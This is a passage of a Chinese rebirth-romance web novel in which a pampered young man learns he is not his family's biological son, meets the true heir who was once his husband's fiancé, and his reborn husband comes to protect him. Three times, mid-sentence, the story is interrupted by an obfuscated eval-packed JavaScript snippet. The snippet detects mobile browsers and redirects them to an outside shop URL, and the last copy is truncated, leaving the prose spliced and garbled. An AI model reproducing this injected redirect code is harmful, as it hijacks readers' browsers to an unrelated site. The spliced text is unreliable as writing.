江观潮垂眸,对上怀中青年那明亮澄澈的眼眸,无法想象前世,这个被娇贵呵护着长大的娇气包,面对父母大哥的冷漠、心爱丈夫的离开,究竟是如何撑下去的。 这圈子里的人一个个捧高踩低,其中讥讽嘲弄怎样伤人,江观潮再清楚不过。陈皓性子直脾气大,这些年来得罪的人不在少数,一朝身世曝光落入尘泥,不用想都知道会招来多少明里暗里的报复。 若是那个真少爷也动了手脚…… 前世小少爷满脸是泪,脚边落满了离婚协议书的碎片,瞪着眼睛,朝他怒吼:“你想都别想,江观潮,我永远不会放手!你是我的丈夫!永远都别想从我身边离开!” 那时江观潮将心中所有的波澜都归类为厌恶与不耐。 现在,他手臂稍一用力,直接把身边撒娇的小少爷连人带毯子抱到了腿上。 陈皓惊呼一声,连忙搂住了江观潮的脖子,路灯的灯光落在他白皙的脸上,勾勒出他纤长睫羽的轮廓。 “知道了。”江观潮说。 陈皓搂着他:“你知道什么了?” “我会抱你。”江观潮说:“不会离开你。” 陈皓愣了一下,旋即,笑容绽开,他凑上前,在江观潮的下巴上亲了一口,软声道:“不仅要抱我,还要疼我,听我的话。” “嗯。” “你最近公司是不是特别忙啊?” “还好。想去什么地方玩?” “你怎么知道我想出去玩!真是的,我才刚开个头,你怎么就知道我想说什么了。”抱怨着,陈皓的眼睛却弯起来:“你要是最近工作不忙,我们开游艇一起去海上玩几天呗?” 江观潮还没开口,一道短信提示音先一步突兀地响起来,陈皓愣了下,松开一只手,探进自己的西装外套里摸索:“是我妈。” 他不想被打扰时,手机开的都是静音模式,只有被特殊联系人的联系会有铃声。 拿出手机,陈皓有些疑惑地“嗯?”了一声。 江观潮本不是喜欢好奇他人家里私事的性格,此时却隐约意识到了什么,收紧了手臂:“怎么了?” “我妈让我明天回家一趟,说有很重要的事要宣布。”陈皓感觉十分稀奇,对事实真相一无所知的小少爷,还没心肺地笑了起来:“她竟然说‘宣布’哎,该不会和我爸有三胎了吧?” 江观潮的眉头不着痕迹地皱了一下:“明天什么时候?” “下午,应该是午饭后吧?”陈皓道:“怎么啦,想和我一起回去?” 这本是句随口的玩笑话,陈皓很清楚,江观潮并不喜欢陈家,公众场合还能做做表面功夫,私底下是能有多远躲多远。 却不想江观潮竟然道:“嗯。” 这一个字在陈皓的胸膛中炸开了大大的烟花,如果说今天来到江家,代表着江家人终于愿意认可并接纳他,那么江观潮愿意与他一起回家,就意味着他终于开始想要接纳他的家人。 他忍不住欢喜,在江观潮唇上重重亲了一口:“那我和我妈说一声。” 陈夫人那边回得倒也挺快,只是内容和陈皓想的完全不同。 【皓皓,明天要说的是我们家里的事,就你单独过来吧,好不好?乖。】 向来疼爱他的父母,就连他说要抢其他人的未婚夫都会出手帮忙,如今却拒绝了这么一个小小的要求。陈皓后知后觉地,总算察觉到了一点儿不对劲,他迟疑地看向江观潮:“我妈说……明天不方便。我……” 江观潮摸了摸他的头发:“没事。那明天你先回去,有什么事,回家和我说。” 陈皓点点头,靠进江观潮怀里,脑海里却忍不住担忧地转个不停:“你说到底是什么事,弄得这么神秘?会不会是我爸妈的身体……” “不会的。”江观潮道:“你忘了?陈氏集团每年都有固定体检,而且就算出了什么问题,也不会用这样的方式通知你。” “也是。”既然不是这种问题,陈皓就放心了,“那明天你先去公司把工作都处理好,后天我们就出发去玩。” 江观潮垂眸,捏了捏他的脖子:“好。” -- 既然第二天还要去父母家,母亲又拿出了那么严肃的态度,陈皓便歇了想要与年轻英俊的丈夫翻云覆雨的心,趴在江观潮怀里,舒舒服服地睡了一觉。 第二天他醒来时,已经是中午,江观潮从公司回来,陪他吃了一顿饭,然后去公司的路上,顺路将他送到了陈家老宅。 陈皓下车前,搂着江观潮的脖子亲了好一会儿,才依依不舍地下车,在佣人的迎接中走进了自己家的大门。 陈家是京城的顶级豪门,底蕴深厚,住处自然也十分复古奢华,深冬的阳光穿过梧桐稀疏的枝桠,在青石板路上投下斑驳光影。庭院清静,只能听见喷泉声潺潺流淌,一栋法式四层小洋楼,屹立在道路的尽头,红砖墙上是爬山虎与玫瑰开过后光秃秃的枝干。 一切看起来和往常没什么不同。 管家李叔迎上来,笑容恭敬:“小少爷回来了。” 陈皓哼着歌,惦记着明天与江观潮的双人游艇旅行,心情十分灿烂,笑着与李叔打了声招呼:“我回来啦,李叔。我爸妈呢,是不是已经在家啦?” 李叔道:“陈总和夫人都已经在客厅等您了。” 陈皓“嗯”了声,又想起什么,问:“我大哥呢?” 李叔那和蔼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912585|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可亲的脸上,竟在听到这个平平无奇的问题后,罕见地掠过了一丝犹豫,他看着陈皓,顿了顿,才道:“大少爷他……也在客厅。” “这样啊。”陈皓发现了他的犹豫,觉得奇怪,却也没往心上放,大咧咧地走进玄关,换了鞋,大喊道:“爸、妈、大哥,我回来啦!” 穿过前厅时,陈皓突然注意到,原本挂在墙上的那张全家福不见了。那是陈皓高二那年的圣诞节,他们一家人在瑞士滑雪时拍的,四个人挤在镜头前,陈皓调皮地把雪球扔到大哥头上,被母亲笑着嗔怪。照片里每个人都笑得很开怀。 现在,那里只剩下一片空白的墙面,岁月在上面留下了一个泛白的痕迹,突兀地提醒着缺失。 陈皓的心沉了沉。是相框坏了吗? 可他还是没有太在意。 家对一些人而言,是狼窟虎穴,是痛苦和永远无法愈合的伤口。但对陈皓而言,家就是他的避风港,从小到大,他都在宠溺与疼爱中长大,要什么有什么,被呵护得无微不至。他的父母相爱,哥哥稳重,他什么都不需要担心,若是遇见了委屈,回家说一声,任何问题都会立马得到解决。 无底线的宠爱,也换来了陈皓无底线的信任。在他的心中,无论这世界如何改变,他的家人是绝对不会伤害他的。 大步走入客厅,陈皓正想如往常一样,坐到母亲身边撒个娇,却发现客厅里的气氛,是他二十三年里,从未见过的沉重。 陈夫人坐在中央的丝绒沙发上,身穿深紫色旗袍,头发一丝不苟地挽起,却掩不住眼下的青黑与浮肿。她双手紧紧交握放在膝上,指节泛白。 陈知国站在落地窗前,背对着门口,望着窗外枯黄的草坪。听见开门声,他转过身,素来威严的脸上带着罕见的疲态,看向陈皓的眼神复杂难辨。 最让陈皓不安的是大哥陈绪文。 他坐在单人沙发里,面前的茶几上摊开几份文件。他没有像往常那样迎上来揉他的头发,而是静静坐着,脸上找不见一丝陈皓熟悉的笑意,金丝眼镜后的目光沉得像一潭死水。 “这是怎么了?”陈皓心中不安愈发明显,“这么郑重其事地叫我回来,到底什么事啊?该不会是——”他试图开个玩笑,“你们真要有三胎了吧?” 没人笑,也没人回答他。 最后打碎沉默的,是陈夫人的哭泣。她猛地捂住嘴,发出一声压抑的呜咽,眼泪夺眶而出。 “妈?”陈皓慌了,快步走过去想扶她,却在半途被陈绪文伸手拦下。 “皓皓,”陈绪文的声音干涩得像是砂纸摩擦,“你先坐下。” 陈皓没动,他站在原地,视线环视一周,不安令他的语气都带了几分急躁:“到底怎么了?大哥,你直说好不好?” 陈绪文深吸一口气,从茶几上拿起最上面那份文件,递过来。 白色封面上,“DNA亲子鉴定报告”几个黑体字像淬了毒的针,狠狠扎进陈皓眼里。 陈皓怔了好一会儿,才接过报告。他甚至无暇去思考为什么父母会瞒着他做这个东西,他只是下意识地翻开了纸张。 掠过大段大段他看不懂的内容,最后一行,一个个文字排列在一起,是那么刺眼。 “结论:排除陈知国、林婉茹为陈皓的生物学父母。” 轰隆隆—— 似乎有惊雷在远处炸响。 市中心写字楼,江观潮正坐在自己的办公室里与秘书交代接下来几天的工作安排,听到雷声,不自觉侧头看了一眼。 只见方才还晴朗万分的天气,一转眼的时间,就已乌云密布。 要下雨了。 12.真相 江观潮对待工作一向认真负责,说话说到一半突然停住望着窗外出神这种事,还是头回发生。秘书见状,不由关切地问道:“怎么了,江总,是有什么问题吗?” 江观潮收回视线,手指在面前文件上划过,沉默片刻,却是反手拿起了先前搭在椅背上的西装外套:“我有事要出门,之后的会议全部取消。” 秘书一愣,完全没想到自家的工作狂老板在昨天请假后,来上了半天的班又急着要走人。这天上下得不会是红雨吧。“可是,开发部那边……” “谁有意见,欢迎他过来当面和我说。”江观潮冷冷道。 秘书闻言,立刻噤声,不敢再触上司的霉头,转而微笑道:“好的,我这就去给小方打电话,让他开车接您。” 江观潮道:“不用了,我自己开车。” 说完,他便穿上外套,大步朝办公室外走去。 -- 陈家。 陈皓呆呆地站在茶几前,还未从手中的亲子鉴定报告所带来的震惊中清醒过来。好半响,他才听见自己的声音发着抖,唇角勉强撑着难看的笑容:“不可能,这……怎么可能?肯定是弄错了。哥,今天可不是愚人节,这个玩笑一点儿都不好笑——” “皓皓……”陈夫人哭着打断他,“我们做了三次鉴定,结果都一样。” 陈皓往后退了一步,撞在沙发扶手上。 “那……那你们亲生的孩子呢?”他的声音飘忽,“你们找到他了吗?” 这次回答他的是另一个声音。 清冽,温和,从客厅侧门的方向传来: “找到了。” 陈皓猛地转头。 侧门不知何时被推开了,一个青年站在那里。他身形清瘦,穿着简单的米白色针织衫和卡其裤,肤色苍白,眉眼温润,气质干净得像初冬的新雪。 陈皓的瞳孔骤然收缩。 这张脸,他见过。 三年前,他第一次遇见江观潮的宴会上,江观潮身边站着的就是这个人。那时对方穿着西装,低着头,手指紧张地绞在一起。陈皓当时远远瞥了一眼,只觉得对方从谈吐到气质都十分上不得台面,根本配不上江观潮。 而现在,这个人站在陈家的客厅里静静地看着他,陈皓这才惊觉对方有着一双和母亲无比相似的眼睛。 “虽然你应该认识我,但以防万一,还是自我介绍一下,”青年往前走了一步,声音很轻,却字字清晰,“我叫喻橙。比喻的喻,橙子的橙。” 喻橙停顿了一下,目光扫过陈夫人哭红的脸,陈知国紧抿的唇,最后回到陈皓煞白的脸上,唇角轻勾。 “是观潮曾经的未婚夫,也是陈家真正的小少爷。” “砰”的一声,陈皓手中的鉴定报告掉在地上。 世界在这一瞬间失去了所有声音和颜色。他只看见喻橙的嘴唇在动,看见母亲掩面哭泣,看见父亲别过脸去,看见大哥起身走向喻橙,手轻轻搭在他肩上—— 那是一个保护者的姿态。 陈皓曾经拥有过无数次。 “什么时候……”他的声音嘶哑得厉害,“这件事……是什么时候……?” 他头脑一片混乱,连话都无法说完整,所幸陈绪文轻易便理解了他没能说出口的话是什么,迟疑了下,叹气道:“亲子鉴定是两周前拿到的,但直到昨天,我们才把橙橙找回来。” “那为什么不告诉我?”陈皓问,声音颤抖“为什么要瞒着我?” “我们想等你生日过了再说。”陈夫人哽咽着解释,“皓皓,妈妈不想破坏你的生日,想让你开开心心过完二十三岁生日——” “然后呢?”陈皓打断她,突然笑了,笑声又冷又刺耳,“然后等我吹完蜡烛许完愿,你们就告诉我:‘惊喜!其实你不是我们亲生的!’是这样吗?” “陈皓!”陈知国厉声道,“注意你的态度!” “我的态度?”陈皓转头看他,眼睛红了,“爸,那你们的态度呢?瞒着我,偷偷去见亲生儿子,把我的全家福撤下来!是不是等我走了,就要把我的房间也清空,给真正的陈少爷腾地方?” “没有人要赶你走。”陈绪文皱紧眉头,“皓皓,你冷静点。这件事我们慢慢商量。” “商量什么?”陈皓的声音陡然拔高,“商量我还能不能姓陈?还是商量你们准备分多少爱给我这个冒牌货?” 最后三个字说出口的瞬间,客厅里的空气凝固了。 陈夫人捂着唇,别过脸去,泪水不住落下。 陈皓也好想哭,母亲的眼泪好像刀子一般落在他的心上。从小到大,最疼他最亲他的就是母亲,他深深爱着这个女人,一想到从今以后,喻橙就会取替他的位置,而母亲会成为别人的母亲,陈皓死死咬住下唇,脑海内混乱不堪,心痛到了极点,竟反而榨不出泪水。 “陈皓,”喻橙忽然开口,声音依旧温和,“这二十三年,我过得并不好。” 陈皓瞪着他,眼眶通红,喘息着,仿佛一只被逼到绝境的小兽:“那又怎样?” “我父母在我很小的时候就去世了,没有亲戚愿意接纳,我只能住进福利院。要不是喻阿姨领养了我,我连学都上不了。”喻橙与陈皓对视,平静的模样,与陈皓的狼狈慌张形成了鲜明对比:“还好,我很幸运,不仅顺利上了重点初高中,还有了心爱的恋人,我和他订了婚,眼看着就要步入婚姻的殿堂。可是,陈皓,你出现了。” 陈皓瞳孔微缩,手心里竟沁出一点冷汗。 喻橙语气轻巧,一字一句,诉说着三年前的痛苦:“你用陈家的权势,逼观潮和我解除婚约。那天晚上,我一个人哭了好久好久。我想,为什么命运这么不公平?为什么有人生来就拥有一切,连别人的幸福都要夺走?” “橙橙,”陈绪文低声制止,“别说了。” “不,哥,让我说完。”喻橙摇摇头,看向陈皓的眼神里终于泄出一丝真实的情绪,那是压抑多年,仿佛淬了毒的怨恨,“陈皓,我不恨任何人,但是——” “我永远不会原谅你。” “你抢走了我的父母二十三年,抢走了我的身份,连我的爱人都要夺走。你很得意吧?用偷来的东西,过得这么幸福。” “现在,是还债的时候了。” 陈皓面色惨白,嘴唇颤抖着,一向伶牙俐齿的他,在这一刻却连一个字都说不出来。他下意识地看向陈绪文,想向信任的大哥求助。 陈绪文叹了口气:“好了,不要再说了。真要说起来,当年那件事我和爸妈都有责任。” 他话中的维护之意让陈皓面色稍缓,然而陈绪文的下一个举动,却彻底将他打入了地狱。 “皓皓,”陈绪文按了按眉心,从茶几上摆放的文件夹里抽出一份合同,递过来:“来,把这个签了。” 陈皓下意识接过纸张。 股份转让同意书。 他面色微微扭曲了一下,先是难以置信,随后被娇惯着长大的傲气强撑着他露出了一个嘲讽的笑:“有这么急着把我赶出家门吗?” “不是的!”陈夫人开口,从沙发上站起,快走几步来到茶几旁边,伸出手想要触碰陈皓,却在快要碰到时又收回了手,只是红着泪眼道:“皓皓,你永远是我们的孩子。” 陈知国也走过来,搂住妻子的肩膀,前天在陈皓生日宴上还意气风发的眉眼此刻竟现显出了几分疲惫的老态:“皓皓,今天喊你回来,不是想赶你走,只是想告诉你真相,也是想和你商量接下来的安排。喻橙会搬回家里住,我们也会对外公布他的身份,不过陈家的户口本上永远有你的名字,你的生活费、零用钱也都不会少。但是……” “但是有些东西,我得还给他,对吗?”陈皓替他说完,声音平静得可怕,“公司的股份、社交圈的位置,都要物归原主。” 陈知国说:“你是个懂事的孩子。” 不能哭。 如果这里只有父母和大哥,陈皓早就哭成泪人了。但他无论如何,都不愿在江观潮的前未婚夫面前掉眼泪。 对,当年的事是他做错了,陈皓清楚,并且承认。 但他不后悔,绝不。于是更不可能在情敌面前示弱。 他拿起笔,干脆利落地签下了自己的大名,然后把笔一扔,前所未有地急着想要回家,想要回到他和江观潮的那个家:“可以了吗?我可以走了吧。” “皓皓……”陈夫人哽咽道:“妈舍不得你,妈也……也不……可是橙橙真的受了很多苦……对不起,都是妈的错……” 喻橙的确受了很多罪,当年陈家人帮着陈皓抢走了他的未婚夫,更是在他的心上划下了重重一刀。为了弥补这个离家二十三年才终于被找回的小少爷,听从他的要求,冷待陈皓这个“偷”走了他人生的假少爷,是理所应当的事情。 “没事的。”陈皓闭了闭眼,呼吸:“没事的,妈,我明白。我走了。” 他转过身,想要离开,喻橙却在这时突兀地叫住了他:“陈皓。” 陈皓停住脚步。 “你要还给我的不止是父母和哥哥,”喻橙道:“你知道吗?我从六岁那年第一次见到观潮,就知道他会是我的爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918803|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 陈皓猛地回头,片刻后强行扯出一个难看的笑容:“那你可真早熟。”然后脸一拉:“但你想都别想,他是我的。” “是么?”喻橙笑了笑:“陈皓,你扪心自问,这三年来,观潮在你身边,过得开心吗?” 陈皓张了张嘴。他多希望自己能够抬起下巴,骄傲地说一句“开心”,可他却比谁都清楚,这些年里,江观潮有多么讨厌他。 “他会喜欢上我的。”陈皓勉强挤出了这么一句话:“他已经开始变了。” 喻橙眼睫轻垂,看向他的眼神,像是怜悯又像是不屑。 “是么?”喻橙轻声道:“你就不好奇吗?为什么爸妈大哥这么爱你,却会莫名其妙地拿出一份亲子鉴定报告?” 陈皓道:“你什么意思?” 喻橙弯起唇角:“蠢。发现了你身世,把亲子鉴定送到陈家,又帮着大哥把我找回家的那个人,就是江观潮啊。你逼着他娶了一个他厌恶至极的人,还让他受了那么多罪,如今还幻想着他会爱上你?” “做、梦。” 陈皓面色惨白。 “橙橙!”陈夫人见状,终于控制不住自己,绕过茶几冲上前来,搂住了陈皓的肩膀:“皓皓,不是的,没事没事,观潮不讨厌你的……” 陈知国也拧着眉,面露愠色:“喻橙,你说得太过了!” 喻橙一愣,下一秒,泪水已经盈满了他的眼眶,方才轻蔑嘲弄的模样不见踪影,取而代之的是无助慌乱:“我不是故意的,我就是气不过,一想到我的爱人受了那么多罪,我就……” “他不是你的爱人!”陈皓吼道,转头抓住陈夫人的手腕:“妈,他在说谎对不对?亲子鉴定不是江观潮给的,找回他的也不是江观潮——” 然而陈夫人在短暂的怔愣后,却回避了他的视线。 答案已很明显。 陈皓呆呆地垂下手,后退了一步。 怪不得。 怪不得这两天,江观潮会对自己这么好。 终于能离开自己这个讨厌的人了,终于能和心爱的竹马破镜重圆了,怎么可能不开心呢?开心了,仁慈地给点甜头,也不过是顺手的事。 可既然如此,为什么还要带自己回家?为什么还要在父母弟妹面前维护自己,为什么还要送给他玉牌? 陈皓猛地握住了胸口前垂挂的玉牌,那玉已被他的体温彻底温暖,在这一刻,竟仿佛给了他尽管渺小、却极为坚定的力量。 “我不信。”他说:“我要亲口问他。” 说完,他冲到玄关,飞快地换了鞋,只一息的时间,便推门奔进了一片大雨之中。 “皓皓!!”陈夫人大喊一声,急切地抓住了大儿子的胳膊:“快叫人去追!这么大的雨,他会感冒的!” 陈绪文点点头,快走几步离开了客厅。 喻橙小声哭了起来:“对不起,爸,妈,我是不是……是不是还是不回来好一点?” 陈夫人看着亲生子这副模样,心痛交加,再多责怪也无法说出口,赶忙伸手将人搂进了怀里,柔声安慰。 没多久,喻橙借口头疼,上楼休息去了。 客厅里,陈夫人面露疲色,靠在丈夫的怀里:“我们是不是太急了?皓皓他该有多难过啊。” 陈知国拍拍妻子的肩:“早晚要知道的。长痛不如短痛。” “可你看喻橙今天说的那些话……”陈夫人抬起头,眼中满是忧虑,“那孩子心里对皓皓有怨……都怪我,当初要不是我纵着皓皓,事情也不至于走到今天这个地步。” “正如绪文说的,当初那件事,我们都有责任。”陈知国说,“婉茹,我知道你心疼皓皓,但你也得明白,喻橙才是我们的亲生孩子。我们欠了他二十三年,必须要好好弥补他。” 陈夫人痛苦地闭上眼睛。 她知道丈夫说得对。血缘是斩不断的纽带,而喻橙流落在外吃尽苦头是铁一般的事实。于情于理,他们都该倾尽全力弥补。 可是陈皓呢? 那个她亲手喂养、抱在怀里哄着入睡、看着他跌跌撞撞学会走路、骄傲地站在毕业典礼上的孩子…… 要是两个孩子没有旧怨,也就罢了。可偏偏,三年前,他们喜欢上了同一个男人,陈皓用不光彩的手段让喻橙陷入了深深的痛苦,如今,喻橙想要让陈皓尝到同样的滋味,并非不能理解。 陈夫人本还幻想着两个孩子能和睦相处,可如今看来,是不可能了。 必须做出抉择。 “我知道。”陈夫人闭上眼睛:“我知道的。” 13.对不起 从办公室到地下停车场,不过几分钟的时间,沉闷的雷声就已化作了瓢泼大雨,天空阴云密布,密集的雨幕中,整座城市都变得模糊。雨点噼里啪啦地砸在车顶,让江观潮不由得有些心烦意乱。 手机响起,江观潮拿起一看,是公司法务的来电。 他皱起眉,将手机连上车内蓝牙,按下接听:“什么事?” 法务的声音透过车载音响传来:“江总,您的离婚协议已经撰写完成并发到您的邮箱了。” 江观潮一怔,他握着方向盘的手微微用力,雨刷器来回摆动,却怎么也扫不清眼前不断流淌的水幕。 片刻沉默之后,他道:“知道了。” 挂断电话,正好开到红绿灯路口。江观潮从怀里摸出烟盒,给自己点上。后视镜中,他眉头紧锁,四年前的回忆蜂拥而至,如同溃堤的洪水,不容阻拦地朝他涌来。 前世,陈皓得知身世的真相时,江观潮早就拿到了这份离婚协议书。豪门婚姻总伴随着大堆大堆的文件合同与财务纠纷,而他手底下的法务部门是从前几年一个竞争公司手底下挖过来的,业务能力相当过硬。 那份协议书里,财产分割以及各类细节都写得清清楚楚,没有给另一方留下任何可以钻空子的余地。江观潮甚至还仔细检查了两遍,又修改了好几次,才将其打印出来。 那是个表面上与平时没有任何差别的夜晚。 江观潮已经答应了相熟教授的邀请,决定前往国外深造,一方面是想要继续提升自己,另一方面,也是想要躲避陈皓。他的家人全然支持他的选择,于是这段时间来,江观潮的重心,已全部放在了各种手续和公司工作交接上。 难得空了一天,他早早回了家,手里拿着那份离婚协议书,却发现陈皓并不在家。保姆阿姨给他端上了熬好的汤,很可惜地说,陈少这段时间一直都在家等着他,只有今天被喊去赛车,偏偏就是今天,江观潮回家了。 赛车? 江观潮的眉头飞快地皱了一下。 陈皓的身世曝露后,周围关于他的冷嘲热讽就没停过。这个踩低捧高的圈子里,多得是风一吹就倒的势利眼,对陈皓这个过去无比嚣张如今落入尘泥的小少爷,他们只会想要踩上一脚,绝不可能伸手拉上一把。 既然如此,陈皓是被谁喊了出去? 某种情绪,在江观潮的胸口短暂地掠过,很快就消失了痕迹。他吃过晚饭,刚走出餐厅,便听见玄关处传来一阵气急败坏的摔打声。 脚步一顿,江观潮朝声音传来的方向走去。 只见玄关门口,小少爷不复从前的精致从容,杏眼通红,头发被他自己抓得散乱,红色的赛车外套被他扔在地上,用力踩着。玄关柜子上的花瓶已变成了无数碎片,散落在地板上。 他喘息着,如同一只被逼到绝境的小兽。江观潮停下步子,站在原地,静静地看着他。 江观潮没有发出声音,陈皓却好似感觉到了什么,猛地抬起头来,直直望进江观潮的眼睛。 对视的瞬间,小少爷连鞋都顾不上换,笔直朝江观潮冲了过来,扑进了男人的怀里。 “江观潮……”江观潮听见他声音沙哑,肩膀上传来一阵湿热的感觉:“你回来了……你总算回来了……” 先前短暂掠过的陌生情绪,在这一刻重新涌入江观潮的心中,甚至比之前还要更加澎湃,几乎要淹没他的口鼻。就像有什么东西即将突破控制,再不在他的掌握范畴。 那种失控的感觉,让江观潮深深拧起了眉,推开了身上黏着的小少爷,冷冷道:“我有东西要给你。” 陈皓红着眼,看着他,似乎有些惊讶:“什么东西?” 上扬的尾音里,藏着一点儿不易发现的期待。 可江观潮要给他的,怎么可能是礼物呢? 一份离婚协议书,白纸黑字,冷冰冰地摆到了陈皓面前。 喻橙回到陈家后,类似的合同,陈皓签过很多很多,且没有任何反抗,合同递给他,他便乖乖拿起笔,顺从地将名下的股份、财产,一一转让。 可也不知道是不是忍耐终于到了极限,在看到离婚协议书的瞬间,陈皓隐藏已久的獠牙再度露了出来,他将视线范围内的东西全都砸到地上,又一把抓起那份协议书,将其撕得粉碎。 然后,他一把揪住了江观潮的领子,瞪着通红的眼,一字一顿:“准备和我离婚去娶你那个青梅竹马?呸!只要我活着,你想都别想。” 江观潮拧了下眉,不理解为什么陈皓会这么认为,小少爷也没有给他询问的机会,威胁过后,便是炽热的吻。 他吻地很深很认真,带着孤注一掷的味道。江观潮握住他的肩膀,想要拉开两人之间的距离,舌尖却在这时尝到了一点带着咸味的、苦涩的味道。 那是陈皓的眼泪。 不知为何,江观潮松开了手指上施加的力道,任由陈皓钻进他的怀里。 后来,陈皓知道江观潮要和自己离婚,便开始比以前更加密切地跟着江观潮。他哭了很多次,也闹了很多次,泪水多到好几次江观潮都以为他要放弃自己了。 可是回过头,小少爷却仍然执着地跟在他身后,一边抹眼泪,一边紧紧地抓着他的衣角。 当时,江观潮只在国内留了一个月,便直接飞去了国外。实话说,他以为陈皓还会跟过来的,可是没有。 刚开始,小少爷给他发了很多消息,然后渐渐地,消息没了。在一个月没收到新信息以后,江观潮拔出了手机卡,为这段关系彻底画下了句号。 所以后来知道陈皓出车祸,是在为自己接机的路上的时候,江观潮真的很不敢相信。 他以为他早就放手了。 他以为他已经…… 不爱他了。 车窗上的水痕交织成扭曲的图案,仿佛在嘲笑他的自以为是。烟雾缭绕间,江观潮的眼神变得晦涩难明。他想起陈皓最后在机场,隔着安检门看他的那一眼,那是一种复杂到无法用语言形容的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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车速放慢,被大雨淹没的街道上,一道被雨水淋透了的单薄身影在黑暗中显出模糊的轮廓。 江观潮踩下刹车,刚停下车,那道身影立马加快了脚步,冲到车前拉开了副驾驶的车门,钻进了车里。 冰冷的水汽漫延开来,被雨水浇透了的青年瑟瑟发抖,蜷缩在座位上,手掌在真皮的内饰上留下湿漉漉的水痕。一双杏眼红肿着,却仍然明亮。 他声音沙哑道:“江观潮……” 江观潮倾身上前,手臂勾住青年的腰,竟直接将人抱过了中间的隔断,圈进了怀里。 温暖的体温瞬间驱散了潮湿的寒意,熟悉的气味暖暖地裹上来,有力的手臂搂着陈皓的腰背,将他牢牢箍在怀里。 “冷不冷?”江观潮问。 陈皓怔怔地看着他,眼神似乎有些茫然,像是还没从巨大的打击中回过神来,唇瓣颤抖着,有些发白。 江观潮的共情能力,毫无疑问是最合格的商人标配,同情心低得近乎于无。这一瞬,他却感觉心脏拧紧,前世他曾数次感受到、最后被他认定为“失控”的陌生的情绪,再一次浮现。 而这一世,他终于明白,这是“心疼”。 江观潮扶住陈皓的后脑,在他被冻得通红的鼻尖上亲了一下,然后慢慢下移,最后在那饱满粉嫩的唇瓣上,轻轻地吮了一下。 14.不要离开 江观潮并不是个擅长表达自身情感的人。 他承认自己的冷漠,同时也不觉得有错。在他的世界里,那些与利益挂钩的数据分析起来,总是比他个人的喜怒哀乐更有价值的。 在脑海深处,模糊的记忆里,江观潮记得很小的时候,他坐在车子后座,仰头看着车窗外不断向后掠过的街景,问身旁的母亲:“我一定要去托儿所吗?” 而母亲一边检查工作上的文件,一边头也不抬道:“对不起,宝贝,我和你爸爸真的没有时间,公司太忙了。” 小江观潮“哦”了一声,转头继续看窗外的街景。从那以后,他明白了,公司比他更加重要。 后来工作变动,他跟着父母搬去了其他城市,他没人照顾时的去处就从托儿所变成了母亲的朋友家。 母亲的朋友叫喻文彦,是个非常有个性的女人,常年染着一头橙色齐耳短发,戴着大大的耳环,手腕上总是带着不同的香水味,每次见到江观潮,都会十分大方地给上一大笔零用钱,捏捏他的脸,然后羡慕地朝母亲说:“要是我能有个观潮这样听话的小孩就好了,可惜,我实在不想结婚。” 母亲给她出主意:“领养一个不也行吗。” 说者无意,听者有心。后来喻文彦搬走,连着几年,江观潮都没再见过她。这次再见,喻文彦牵着他的手,笑眯眯地说:“小观潮,还记得文彦阿姨不?阿姨家里现在多了个小弟弟,比你小一岁,你要和他好好相处哦。” 江观潮心知那个“小弟弟”,大概是喻文彦领养的小孩,点点头,说“好”。 喻文彦便将他带回了家。 市中心的高级公寓,宽敞的大平层,金色的阳光从干净到几乎透明的落地窗洒入客厅,将木地板晒得很暖。 客厅中央的地毯上,一个穿着白色衣服的小孩子坐在那里,正低头专心摆弄面前棋盘上的棋子,听到大门打开的动静,立马转过头,怯生生地喊了一句:“喻妈妈。” 那是江观潮和喻橙第一次见面。 在原先的城市辗转换过无数所托儿所,什么样的小孩都见过一遭,江观潮早就对同龄人失去了兴趣。远超常人的聪慧与冷漠的性格,也注定了他和同龄人不会有什么共同话题。简单做过自我介绍后,他跟在喻文彦身后,只想早早去自己的房间休息。 喻橙却扔了正在玩的五子棋,追了上来,眼神仍然怯怯的,看向江观潮时,却带着不加掩饰的好奇与好感。 “哎呀,橙橙很喜欢观潮哥哥是不是?”喻文彦的语气听起来十分惊喜,摸了摸喻橙的头发,又蹲下身,用商量的口吻问江观潮:“观潮,你多带弟弟玩一下好不好?橙橙回家这么久,还是第一次主动亲近人呢。” 江观潮彼时已懂得何谓人情世故,于是尽管万般不愿,也还是应了下来。 那以后,他的身后就多了一个小尾巴,无论他做什么,都会跟在他身边。江观潮虽然觉得烦,但人在屋檐下,也不好多说什么。加上喻橙只是跟着他,不提要求也不做别的什么,江观潮便权当他不存在,自己做自己的事情。 后来上了小学,江观潮也从喻家搬了出来。本以为他们就此不会再见面,却不想,拿到座位表后,他才发现,自己的同桌正是喻橙。 小学、初中、高中……喻橙就像是影子,跟着他升学,与他同班同桌。 十六岁那年,学校里开始传,江观潮和喻橙是从小学就早早开始交往的竹马情侣。听到流言的几个发小满脸震惊,纷纷过来问江观潮真的还是假的。江观潮开始还能冷冷地说一句:“假的”。后来被问得烦了,干脆不再理睬。 他本就不在乎他人口舌,这种无聊的谣言,谁爱传就让他传吧。 就这么莫名其妙地跟喻橙当了三年的模范情侣,高考结束后,喻橙在毕业典礼结束后的礼堂里,向江观潮告了白。 江观潮当然选择了拒绝。 